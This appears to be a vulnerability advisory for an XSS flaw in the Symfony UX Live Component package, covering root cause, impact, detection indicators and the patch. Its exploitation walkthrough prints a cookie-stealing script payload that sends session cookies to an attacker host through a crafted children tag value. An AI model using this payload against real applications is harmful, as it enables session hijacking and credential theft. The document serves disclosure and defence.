CVE-2026-49210: 
PHP vulnerability analysis and mitigation

CVE-2026-49210 is a Cross-Site Scripting (XSS) vulnerability in the symfony/ux-live-component package, part of the Symfony UX JavaScript ecosystem. The flaw affects versions >=2.8.0 and <2.36.0, as well as >=3.0.0 and <3.1.0 of symfony/ux-live-component. It was first disclosed on May 29, 2026, with the GitHub Advisory Database entry published on June 19, 2026. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 2.3 (Low), reflecting the preconditions required for exploitation (Github Advisory, Symfony Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The ChildComponentPartialRenderer::createHtml() method interpolates the $childTag argument — sourced from the client-controlled JSON field children[id].tag parsed by LiveComponentSubscriber and propagated through InterceptChildComponentRenderSubscriber — directly into HTML output as a tag name, without any escaping or validation. This allows an attacker to supply values such as li><script>window.__pwned=1</script> or similar payloads, injecting arbitrary HTML including <script> tags into any Live Component re-render that contains at least one child component. In the default configuration, the Live Component endpoint requires the Accept: application/vnd.live-component+html header, which browsers cannot set cross-origin without a CORS preflight, limiting direct exploitability; however, applications with relaxed CORS policies or those already compromised by a same-origin XSS are directly vulnerable (Github Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, impacting both confidentiality (e.g., session token theft, credential harvesting) and integrity (e.g., DOM manipulation, phishing content injection). Availability is not directly impacted. The scope is limited to the browser environment of users who interact with affected Live Components, but chained with CORS misconfiguration or an existing same-origin XSS, the attack surface broadens significantly (Github Advisory, Symfony Advisory).

1. Identify target: Locate a Symfony application using symfony/ux-live-component versions >=2.8.0 <2.36.0 or >=3.0.0 <3.1.0 that exposes a Live Component endpoint (typically /_components/<ComponentName>) and either has relaxed CORS allowing the Accept: application/vnd.live-component+html header from untrusted origins, or is reachable via a same-origin XSS pivot.
2. Craft malicious request: Construct an HTTP GET or POST request to the Live Component endpoint (e.g., /_components/todo_list) with the Accept: application/vnd.live-component+html header and a children query parameter containing a JSON payload with a malicious tag value, such as:

   children={"child0":{"fingerprint":"anything","tag":"li><script>document.location='https://attacker.com/?c='+document.cookie</script>"}}

3. Trigger re-render: Ensure the targeted Live Component contains at least one child component, as the vulnerable code path is only reached during partial re-renders involving child components.
4. Deliver to victim: Lure a victim user to trigger the re-render (e.g., via a crafted link, CSRF, or by leveraging an existing same-origin XSS), causing the injected <script> tag to be included in the server's HTML response and executed in the victim's browser.
5. Achieve objective: The injected JavaScript executes in the victim's browser context, enabling session hijacking, credential theft, or further malicious actions (Github Advisory, Patch Commit).

• Network: HTTP requests to Live Component endpoints (e.g., /_components/<ComponentName>) containing a children query parameter with unusual or non-standard tag values (e.g., values containing <, >, script, quotes, or other non-alphanumeric characters beyond hyphens); presence of the Accept: application/vnd.live-component+html header from unexpected or untrusted origins.
• Logs: Web server access logs showing requests to /_components/ paths with URL-encoded payloads in the children parameter (e.g., %3Cscript%3E, %3E, %22); HTTP 400 responses from patched systems indicating rejected invalid tag values (log message: Invalid child tag.).
• Browser/Client: Unexpected JavaScript execution or DOM modifications on pages using Symfony Live Components; outbound requests from the victim's browser to attacker-controlled domains following interaction with a Live Component.

Symfony has released patched versions 2.36.0 and 3.1.0 of symfony/ux-live-component, which validate the $childTag value against a strict HTML tag-name regex (/\A[a-zA-Z][a-zA-Z0-9-]*+\z/) before interpolation, rejecting any non-conforming value with a BadRequestHttpException (Patch Commit, v2.36.0 Release). Upgrading to these versions via Composer is the primary recommended remediation. As a defense-in-depth workaround for those unable to upgrade immediately, ensure CORS policies do not allow the Accept: application/vnd.live-component+html header from untrusted origins, and audit the application for any existing same-origin XSS vulnerabilities that could be used as a pivot (Github Advisory).

The vulnerability was reported by Pascal Cescon and fixed by Hugo Alliaume (GitHub: Kocal), with the advisory published by nicolas-grekas of the Symfony core team (Github Advisory). A Reddit discussion in the r/symfony community noted the CVE shortly after disclosure. The fix was bundled alongside several other security fixes in the v2.36.0 and v3.1.0 releases, indicating a coordinated security release cycle by the Symfony team (v2.36.0 Release, v3.1.0 Release).